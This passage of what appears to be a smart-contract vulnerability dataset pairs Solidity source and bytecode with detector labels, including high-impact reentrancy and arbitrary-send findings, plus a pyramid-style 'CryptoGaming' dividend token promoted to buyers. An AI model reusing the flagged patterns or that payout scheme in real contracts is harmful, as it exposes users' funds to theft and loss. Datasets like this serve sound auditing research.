65b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122043ac5c0c6d684e1e13df1b4580a02bb1a965c1c8c8293f7c975a4415b054751264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,828 |
0x364fcd7325C035CC4F2cdE8b6c8D7Df5e7Db6589
|
/**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract MetalkToken is Context, IERC20{
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(){
_name = 'Metalk Token';
_symbol = 'Meta';
_decimals = 18;
_totalSupply = 1000000000*1e18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the token name.
*/
function name() public override view returns (string memory) {
return _name;
}
/**
* @dev Returns the token decimals.
*/
function decimals() public override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance')
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'ERC20: decreased allowance below zero')
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), 'ERC20: transfer from the zero address');
_balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012957806370a082311461013c57806395d89b4114610165578063a457c2d71461016d578063a9059cbb14610180578063dd62ed3e1461019357600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101cc565b6040516100c39190610669565b60405180910390f35b6100df6100da3660046106da565b61025e565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610704565b610274565b60055460405160ff90911681526020016100c3565b6100df6101373660046106da565b6102dd565b6100f361014a366004610740565b6001600160a01b031660009081526020819052604090205490565b6100b6610313565b6100df61017b3660046106da565b610322565b6100df61018e3660046106da565b610371565b6100f36101a136600461075b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101db9061078e565b80601f01602080910402602001604051908101604052809291908181526020018280546102079061078e565b80156102545780601f1061022957610100808354040283529160200191610254565b820191906000526020600020905b81548152906001019060200180831161023757829003601f168201915b5050505050905090565b600061026b33848461037e565b50600192915050565b60006102818484846104a8565b6102d384336102ce85604051806060016040528060288152602001610835602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906105c9565b61037e565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161026b9185906102ce9086610603565b6060600480546101db9061078e565b600061026b33846102ce8560405180606001604052806025815260200161085d602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906105c9565b600061026b3384846104a8565b6001600160a01b0383166103e55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103dc565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661050c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103dc565b6105498160405180606001604052806026815260200161080f602691396001600160a01b03861660009081526020819052604090205491906105c9565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546105789082610603565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161049b565b600081848411156105ed5760405162461bcd60e51b81526004016103dc9190610669565b5060006105fa84866107df565b95945050505050565b60008061061083856107f6565b9050838110156106625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103dc565b9392505050565b600060208083528351808285015260005b818110156106965785810183015185820160400152820161067a565b818111156106a8576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146106d557600080fd5b919050565b600080604083850312156106ed57600080fd5b6106f6836106be565b946020939093013593505050565b60008060006060848603121561071957600080fd5b610722846106be565b9250610730602085016106be565b9150604084013590509250925092565b60006020828403121561075257600080fd5b610662826106be565b6000806040838503121561076e57600080fd5b610777836106be565b9150610785602084016106be565b90509250929050565b600181811c908216806107a257607f821691505b602082108114156107c357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156107f1576107f16107c9565b500390565b60008219821115610809576108096107c9565b50019056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a4758f71f54023988d69a4665a3e684df82421dd30f0ec38cc3ed5c57168198964736f6c634300080b0033
|
{"success": true, "error": null, "results": {}}
| 7,829 |
0xb06fdb56a07da59756bb98c473ce865b8a6aa2b6
|
pragma solidity ^0.4.20;
/*
*
* From CryptoGaming Discord
* cryptogamingcoin.surge.sh
* https://discord.gg/jrvSZ5K
* 🎮🎮🎮🎮🎮🎮🎮🎮🎮🎮🎮🎮🎮🎮
*
* CRYPTOGAMINGCOIN (CGC)
* Join us to the MOOOOOOOOON!
*
* -> What?
* Incorporated the strong points of different POW{x}, best config:
* [✓] 20% dividends for token purchase, shared among all token holders.
* [✓] 10% dividends for token transfer, shared among all token holders.
* [✓] 25% dividends for token selling.
* [✓] 7% dividends is given to referrer.
* [✓] 50 tokens to activate Masternodes.
*🌒🌓🌔🌕
*/
contract CryptoGaming {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "CryptoGamingCoin";
string public symbol = "🎮";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 20;
uint8 constant internal transferFee_ = 10;
uint8 constant internal exitFee_ = 25;
uint8 constant internal refferalFee_ = 35;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a96565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b34565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b76565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b80565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610bd3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610bd8565b005b34801561030757600080fd5b50610310610d7c565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610de4565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610dea565b6040518082815260200191505060405180910390f35b348015